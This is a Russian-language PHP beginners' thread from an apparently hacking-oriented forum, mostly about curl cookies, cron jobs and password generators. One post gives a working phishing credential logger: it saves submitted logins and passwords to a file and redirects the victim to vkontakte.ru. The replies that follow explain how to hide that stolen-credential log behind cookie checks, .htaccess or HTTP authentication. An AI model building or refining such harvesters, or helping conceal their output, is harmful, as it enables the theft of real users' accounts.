[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. w.u.n.

    w.u.n. Member

    Joined:
    13 Dec 2008
    Messages:
    40
    Likes Received:
    26
    Reputations:
    1
    Каак можно на пхп сломаать интернет?
     
    1 person likes this.
  2. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    w.u.n., ты не хакер чтоле?? Любой закер на уровне знает что для этого нужно скачать коякер интернета....
     
    3 people like this.
  3. preda1or

    preda1or Member

    Joined:
    27 Oct 2008
    Messages:
    167
    Likes Received:
    96
    Reputations:
    6
    юзай cron если unix
     
  4. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    как мне сделать чтоб логи Базы никто кроме меня не смог просматривать?
    PHP:
    <?php
    $Login 
    $_POST['login']; 
    $Pass $_POST['passwd'];  
    $log fopen("base.php","a+"); 
    fwrite($log,"<br> $Login:$Pass \n"); 
    fclose($log); 
    echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru'></head></html>"
    ?>
     
  5. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    MaTpOc Первой строчкой в файле base.php написать <? if ($_COOKIE['somecook']!=='passwd') die; ?>

    Или добавить в .htaccess:

    PHP:
    <FilesMatch "^base\.php$">
    AuthName "Only valid users can download zip files."
    AuthType Basic
    AuthUserFile 
    /home/www/users/AM/pas/.htpasswd
    Require valid-user
    </ FilesMatch >
    И в файле /home/www/users/AM/pas/.htpasswd - соответственно пароли
     
    _________________________
    #7745 Gifts, 21 Jan 2009
    Last edited: 21 Jan 2009
    1 person likes this.
  6. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    К примеру,
    У тебя файл base.php, следовательно он будет обрабатываться интерпретатором
    Ты открываешь файл на добавление
    поэтому в начало файла можно написать, <?php exit; ?>
    Через веб файл будет недоступен.

    Можно через .htaccess закрыть доступ

    Можно по типу первого варианта, только повесить авторизацию (401)
    PHP:
    $auth 0;
    $login "63a9f0ea7bb98050796b649e85481845"// root
    $pass  "63a9f0ea7bb98050796b649e85481845"// root
    if($auth && (md5($_SERVER['PHP_AUTH_USER'])!==$login || md5($_SERVER['PHP_AUTH_PW'])!==$pass))
    {
        
    header('WWW-Authenticate: Basic realm="basic"');
        
    header('HTTP/1.0 401 Unauthorized');
        die(
    "<h1>Forbidden</h1>");
    }
     
    1 person likes this.
  7. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Как курлом получить\послать куки?
    Юхал так
    PHP:
    ...
    curl_setopt($chCURLOPT_COOKIEFILE"cookie.txt"); 
    curl_setopt($chCURLOPT_COOKIEJAR"cookie.txt");
    curl_setopt($chCURLOPT_COOKIE"cookie.txt"); 
    curl_setopt($chCURLOPT_COOKIESESSIONtrue);
    ....
    и вырезал куки из ответа.. всеравно сервер ругаеться что не посылаються куки.. ((
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
        function get($url
        { 
            
    $ch curl_init();   
            
    curl_setopt($chCURLOPT_URL,$url); 
            
    curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
            
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); 
            
    curl_setopt($chCURLOPT_COOKIE"__utma=; __utmb=; __utmc=;__utmz=;");
            
    $ss=curl_exec($ch); 
            
    curl_close($ch); 
            return 
    $ss
        } 
     
  9. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Pashkela, ну это ясно.. так мы передаем куки.. а как их получить с пост запроса... Я регаюсь например на сайте, посылаю постом логин и пасс.. и получаю куки..
     
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
    <? 
    $ch_autht curl_init(); 
    curl_setopt($ch_authtCURLOPT_URL"bla.ru");//куда конектится 
    curl_setopt($ch_authtCURLOPT_COOKIEJAR'cookie.txt'); //автоматом запишит все куки в файл 
    curl_setopt($ch_authtCURLOPT_COOKIEFILE'cookie.txt');// прочитает куки из записаного файла 
    curl_setopt ($ch_authtCURLOPT_RETURNTRANSFER1); 
    $ch_buft curl_exec($ch_autht); 
    curl_close($ch_autht); 
    echo 
    $ch_buft
    ?>
    а у тебя

    PHP:
    curl_setopt($chCURLOPT_COOKIE"cookie.txt"); 
     
    #7750 Pashkela, 21 Jan 2009
    Last edited: 21 Jan 2009
    1 person likes this.
  11. c0rp$e

    c0rp$e Elder - Старейшина

    Joined:
    5 Dec 2003
    Messages:
    206
    Likes Received:
    37
    Reputations:
    -5
    человек заходит на сайт, при этом выполняется определенный пхп скрипт.
    как сделать так, чтобы скрипт выполнялся постоянно, без захода человека на сайт
     
  12. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    эм.. ну как бы .. set_time_limit = 0 ?
    один раз зайдёшь и будет он работать .. точнее не зайдёшь, а запустишь.
     
  13. .:nbd:.

    .:nbd:. Elder - Старейшина

    Joined:
    27 Jul 2008
    Messages:
    97
    Likes Received:
    27
    Reputations:
    1
    ога и ignor_user_abort();
    то есть, добавь в начале скрипта:

    set_time_limit(0);
    ignore_user_abort();

    или запускай скрипт по расписанию через cron.
     
  14. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Помогите плиз написать генератор всевозможный паролей.
     
  15. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    MaTpOc chr() и mt_rand() тебе в помощь
     
  16. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    А может ему для регистрации надо ;)
    Выбирай в цикле случайные буквы из строки алфавита и присоединяй к конечной строке.
    Сам напишешь - много опыта получишь. Потом оптимизмруем ;)
     
  17. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Дык зачем выбирать... Что-то хранить... Можно просто генерировать из заданного диапазона ASCII код, и через CHR конкатенировать к строке...
     
  18. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Да, но отмерка диапозонов, имхо - долгое занятие. Куда проще добавить уже готовый символ в алфавит, чем искать его по таблице. К тому же если в генераторе паролей будет функция выбора доп. символов, то без алфавита никак не обойтись
     
  19. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    ChaaK, ну в общем да, у тебя будет готовый алфавит, а у меня рваные диапазоны, тут появляется некоторое неудобство... Согласен.
     
  20. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    380
    Likes Received:
    144
    Reputations:
    29
    PHP:
    <form method=post>

    <input type=text name=number value="10">

    <input type=submit value="Генерировать">

    <form><br><br>

    <?php

      
    // Параметр $number - сообщает число 

      // символов в пароле

      
    echo generate_password($_POST['number']);



      function 
    generate_password($number)

      {

        
    $arr = array('a','b','c','d','e','f',

                     
    'g','h','i','j','k','l',

                     
    'm','n','o','p','r','s',

                     
    't','u','v','x','y','z',

                     
    'A','B','C','D','E','F',

                     
    'G','H','I','J','K','L',

                     
    'M','N','O','P','R','S',

                     
    'T','U','V','X','Y','Z',

                     
    '1','2','3','4','5','6',

                     
    '7','8','9','0','.',',',

                     
    '(',')','[',']','!','?',

                     
    '&','^','%','@','*','$',

                     
    '<','>','/','|','+','-',

                     
    '{','}','`','~');

        
    // Генерируем пароль

        
    $pass "";

        for(
    $i 0$i $number$i++)

        {

          
    // Вычисляем случайный индекс массива

          
    $index rand(0count($arr) - 1);

          
    $pass .= $arr[$index];

        }

        return 
    $pass;

      }

    ?>
    Код спизжен :D :D
     
Thread Status:
Not open for further replies.